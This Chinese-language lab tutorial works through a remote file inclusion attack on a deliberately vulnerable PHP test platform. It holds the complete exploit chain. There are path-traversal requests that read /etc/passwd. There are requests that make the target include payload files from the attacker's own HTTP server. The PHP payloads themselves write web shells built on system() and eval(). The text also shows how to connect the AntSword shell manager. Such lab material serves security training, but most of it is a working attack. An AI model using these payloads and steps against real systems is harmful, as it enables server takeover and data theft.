运行条件

远程文件包含需要php配置开启2个条件:

allow_url_fopen=On, allow_url_include=On并且PHPversion>=5.2.0。 allow_url_fopen = On(是否允许打开远程文件) allow_url_include = On(是否允许include/require远程文件)

同样的测试平台,看图:
image.png

选择远程文件包含漏洞。
http://192.168.182.142/vul/fileinclude/fi_remote.php?filename=include/file2.php&submit=%E6%8F%90%E4%BA%A4

%2F解码以后为 / 符号。
远程都可以打开,本地一样打开,如果按照本地文件的包含思路,我们也可以用同样的办法来对应:
image.png
http://192.168.182.142/vul/fileinclude/fi_remote.php?filename=include/../../../../etc/passwd&submit=%E6%8F%90%E4%BA%A4

漏洞猜想

既然已经存在包含漏洞,试想,如果可以包含一段代码,这段代码,可以执行我想要的内容。
把上面的内容重复执行的话,则可以修改为:如果可以包含一段代码,这段代码可以让我写入一个SHELL木马进去。对方的服务器代码是成型代码,所以,我只能借助一个单独的可以供它远程访问的地址,然后让这个程序来访问,触发漏洞代码的写入。(跨过复杂模式)

需求

我们需要一个可以写入1句话木马的PHP代码片段。然后提供给这个程序来访问。
shell.txt

<?php $myfile=fopen(“shell.php”,”w”); //此处代表写到当前程序运行的目录 $txt=’<?php system($_GET[x]);?>’; //传入x为参数的数据,知道x就可以通关了。x被隐喻为密码。 fwrite($myfile,$txt); fclose($myfile); ?>

http://192.168.56.1/shell.txt

实践

我们在本机创建一个http服务,通过http服务为docker容器提供远程下载。http服务软件我们选择HFS。

检验

http://192.168.182.142/vul/fileinclude/fi_remote.php?filename=http://192.168.56.1/shell.txt&submit=%E6%8F%90%E4%BA%A4
image.png
没有发现新的shell.php生成出来。

疑问分析

为什么没有生成的原因,值得我们细细思考。是否存在以下原因:

  1. allow_url_open allow_url_include 功能没有打开?
  2. PHP的代码写的有问题,导致错误?
  3. 杀毒软件?
  4. SYSTEM函数被禁用了
  5. 请思考

再次实践

修改php.ini配置文件
root@d6bc4144a54f:/app/vul/fileinclude# vim /etc/php/7.3/apache2/php.ini
image.png
修改配置文件,将allow_url_include设置为On。重启apache,再次测试。
image.png
service apache2 restart
image.png

进程ID产生了变化,说明重新启动生效了。

重新请求URL地址:
http://192.168.182.142/vul/fileinclude/fi_remote.php?filename=http://192.168.56.1/shell.txt&submit=%E6%8F%90%E4%BA%A4

验证:
image.png
去控制台验证:
image.png
一个shell一句话木马文件就已经生成了。 可以拿蚁剑或者中国菜刀来测试一下。关于蚁剑工具的使用,请参考:https://www.yuque.com/antswordproject/antsword

image.png
设置好之后,我们添加到主界面里面了。
image.png
开始进行管理
(实操练习链接部分) 时间大约30分钟

————————————————————————————————-
大概率测试失败,因为直接连接不断报错。
image.png
通过抓包我们发现什么?
image.png
提交数据用的是POST这个动作。而我们的 SHELL用的是GET动作。
用什么不重要,我们把SHELL的语句改一下。
————————————————————————————————-

修改新SHELL

newshell.txt

<?php $myfile=fopen(“newshell.php”,”w”); //此处代表写到当前程序运行的目录 $txt=’<?php system($_POST[x]);?>’; //传入x为参数的数据,知道x就可以通关了。x被隐喻为密码。 fwrite($myfile,$txt); fclose($myfile); ?>

http://192.168.56.1/newshell.txt
重新拽到HFS里:
image.png
http://192.168.56.1/newshell.txt
再把执行RFI流程再走一次。

http://192.168.182.145/vul/fileinclude/fi_remote.php?filename=http://192.168.56.1/newshell.txt&submit=%E6%8F%90%E4%BA%A4

image.png
加到蚁剑重新看效果:
还是出错!WHY????

再次修改新SHELL

newshell2.txt

<?php $myfile=fopen(“newshell2.php”,”w”); //此处代表写到当前程序运行的目录 $txt=’<?php eval($_POST[x]);?>’; //传入x为参数的数据,知道x就可以通关了。x被隐喻为密码。 fwrite($myfile,$txt); fclose($myfile); ?>

http://192.168.56.1/newshell2.txt
重新提交,生成newshell2.php以后,我们再次尝试用蚁剑去连接:
image.png
image.png
熟悉的文件管理界面出来了。达到了使用习惯的预期。

HFS

http://www.rejetto.com/hfs/